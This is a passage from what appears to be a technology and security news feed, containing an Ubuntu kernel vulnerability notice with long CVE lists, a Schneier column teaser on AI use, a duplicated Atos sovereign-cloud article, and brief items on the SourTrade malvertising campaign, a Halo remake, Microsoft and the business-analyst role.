CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)


USN-8610-1: Linux kernel (Azure CVM) vulnerabilities
Fri, 24 Jul 2026 14:17:33 +0200
Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206,
CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43218,
CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227,
CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43302, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43380,
CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43405, CVE-2026-43411, CVE-2026-43420, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43439, CVE-2026-43445,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43469, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43484, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45852,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45860, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45873,
CVE-2026-45875, CVE-2026-45879, CVE-2026-45883, CVE-2026-45885,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45911, CVE-2026-45912, CVE-2026-45915,
CVE-2026-45916, CVE-2026-45919, CVE-2026-45920, CVE-2026-45924,
CVE-2026-45935, CVE-2026-45936, CVE-2026-45941, CVE-2026-45946,
CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45974, CVE-2026-45978,
CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45994, CVE-2026-46002, CVE-2026-46004,
CVE-2026-46006, CVE-2026-46009, CVE-2026-46015, CVE-2026-46018,
CVE-2026-46019, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46027, CVE-2026-46033, CVE-2026-46037, CVE-2026-46040,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46053, CVE-2026-46062,
CVE-2026-46064, CVE-2026-46070, CVE-2026-46072, CVE-2026-46077,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46088, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46112, CVE-2026-46120, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46137, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46167, CVE-2026-46168, CVE-2026-46172,
CVE-2026-46174, CVE-2026-46177, CVE-2026-46178, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46205, CVE-2026-46206, CVE-2026-46209,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46227, CVE-2026-46230, CVE-2026-46231, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46236, CVE-2026-46238, CVE-2026-46249,
CVE-2026-46250, CVE-2026-46253, CVE-2026-46259, CVE-2026-46267,
CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275,
CVE-2026-46285, CVE-2026-46294, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46307, CVE-2026-46319, CVE-2026-46328,
CVE-2026-52911, CVE-2026-52912, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921,
CVE-2026-52922, CVE-2026-52925, CVE-2026-52926, CVE-2026-52931,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003,
CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047,
CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53064,
CVE-2026-53065, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071,
CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53096, CVE-2026-53112, CVE-2026-53128, CVE-2026-53130,
CVE-2026-53287, CVE-2026-53291, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309,
CVE-2026-53320, CVE-2026-53369, CVE-2026-53379, CVE-2026-63860,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64032, CVE-2026-64033,
CVE-2026-64034, CVE-2026-64039, CVE-2026-64046, CVE-2026-64047,
CVE-2026-64055, CVE-2026-64056, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64096, CVE-2026-64102, CVE-2026-64103,
CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64125,
CVE-2026-64133, CVE-2026-64135, CVE-2026-64153, CVE-2026-64155,
CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64168,
CVE-2026-64173, CVE-2026-64174, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64185)


Should you use AI for a task? Here’s a simple way to decide | Bruce Schneier
Fri, 24 Jul 2026 14:06:15 +0200
Sometimes, what matters isn’t your output but what you put into the process. Think of it like work v the gym
I teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come at no surprise to you that my students regularly use AI to complete their writing assignments. Doing so is a waste of their tuition money. But if their entire career is going to include AI writing assistants, why shouldn’t they embrace their future?
The best way I’ve found to explain the dilemma comes from the AI researcher Daniel Meissler: it’s the difference between work and the gym.
 Continue reading...


Atos launches sovereign cloud service to power comeback
Fri, 24 Jul 2026 13:26:14 +0200

		
					  
						




Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.



Atos Sovereign Cloud offers a range of controls for data management, providing customers with resilience and full control over their data, complying with existing European legislation on data residency.



“Digital sovereignty has become a global operational priority for organizations that need to manage dependencies, jurisdictional exposure and disruption risks across complex digital environments. Atos Sovereign Cloud gives customers a practical way to apply sovereign controls to their most critical workloads, while preserving flexibility, resilience and the ability to innovate securely,” said Michael Kollar, Atos Group digital sovereignty leader.



There has been a concerted effort by European organizations to meet US competition head-on. Earlier this month, four companies signed up to the certification program introduced by the European cloud body, CISPE,



This is the latest effort by Atos to get the company back on track. In April, it sold its supercomputer company, Bull to the French government, after a previous attempt in 2024 to sell off its computer services division and after a refinancing deal in the same year.



The company implemented a further round of refinancing this year and in its half-yearly report claimed that this was an “important milestone” in securing the company’s future. However, in its first-quarter results revenue showed an organic decline of 11 percent, so any projected growth may be some time in the future. Whether its Sovereign Cloud offering is the harbinger of the revival remains to be seen.



This article first appeared on CIO.



Atos launches sovereign cloud service to power comeback
Fri, 24 Jul 2026 13:12:35 +0200

		
					  
						




Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.



Atos Sovereign Cloud offers a range of controls for data management, providing customers with resilience and full control over their data, complying with existing European legislation on data residency.



“Digital sovereignty has become a global operational priority for organizations that need to manage dependencies, jurisdictional exposure and disruption risks across complex digital environments. Atos Sovereign Cloud gives customers a practical way to apply sovereign controls to their most critical workloads, while preserving flexibility, resilience and the ability to innovate securely,” said Michael Kollar, Atos Group digital sovereignty leader.



There has been a concerted effort by European organizations to meet US competition head-on. Earlier this month, four companies signed up to the certification program introduced by the European cloud body, CISPE,



This is the latest effort by Atos to get the company back on track. In April, it sold its supercomputer company, Bull to the French government, after a previous attempt in 2024 to sell off its computer services division and after a refinancing deal in the same year.



The company implemented a further round of refinancing this year and in its half-yearly report claimed that this was an “important milestone” in securing the company’s future. However, in its first-quarter results revenue showed an organic decline of 11 percent, so any projected growth may be some time in the future. Whether its Sovereign Cloud offering is the harbinger of the revival remains to be seen.







SourTrade Malvertising Builds Unique Malware Inside Victims’ Browsers to Evade Detection
Fri, 24 Jul 2026 13:12:34 +0200
SourTrade is a long-running malvertising operation that uses fake ads to lure cryptocurrency users toward convincing copies of trading and exchange platforms. The campaign has been active since late 2024 and has targeted users across Asia-Pacific, Latin America, Africa, Australia, and Great Britain. The attackers impersonate familiar brands, including TradingView, Solana, and Luno, then use […]
The post SourTrade Malvertising Builds Unique Malware Inside Victims’ Browsers to Evade Detection appeared first on Cyber Security News.


Halo: Campaign Evolved: Trailer feiert den Start des Shooter-Remakes
Fri, 24 Jul 2026 12:55:59 +0200

			Ab sofort ist Halo: Campaign Evolved für alle Käufer der Premium-Edition im Advance Access spielbar. Begleitend zum Start hat Microsoft den offiziellen Launch-Trailer für das Remake des Shooter-Klassikers veröffentlicht, der Ausschnitte aus der rundum überarbeiteten Kampagne zeigt.			(Weiter lesen)


SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design
Fri, 24 Jul 2026 12:39:08 +0200
SourTrade turns the browser itself into a malware build system, deliberately sidestepping the industry’s reliance on hash-based file fingerprints and traditional network-centric detection. SourTrade has been active since late 2024, abusing programmatic ads to reach retail traders and crypto investors…
Read more →
The post SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design appeared first on IT Security News.


SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design
Fri, 24 Jul 2026 12:27:53 +0200
SourTrade turns the browser itself into a malware build system, deliberately sidestepping the industry’s reliance on hash-based file fingerprints and traditional network-centric detection. SourTrade has been active since late 2024, abusing programmatic ads to reach retail traders and crypto investors in 12 geographies across APAC, LATAM, Africa, and Western markets, including Japan, Thailand, South Korea, […]
The post SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.


Microsoft heute: Ein Einblick von innen
Fri, 24 Jul 2026 12:19:59 +0200

Es ist kein Geheimnis, dass sich Microsoft seit einigen Jahren stark verändert und CEO Satya Nadella das Unternehmen im KI-Zeitalter hierarchisch und in anderer Form grundsätzlich neu aufstellen will. Was da für Fliehkräfte freigesetzt werden, was Entlassungsrunden und Reorganisationen betrifft, darüber haben wir schon oft genug berichtet. Was bisher fehlte, war ein Blick von innen […]
Der Beitrag Microsoft heute: Ein Einblick von innen erschien zuerst auf Dr. Windows.


What is a business analyst? A key role for business-IT efficiency
Fri, 24 Jul 2026 12:09:04 +0200

		
					  
						




What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.



The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that business analysis is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.



Impact of AI on business analyst role



As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.



AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.



Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.



Business analyst job description



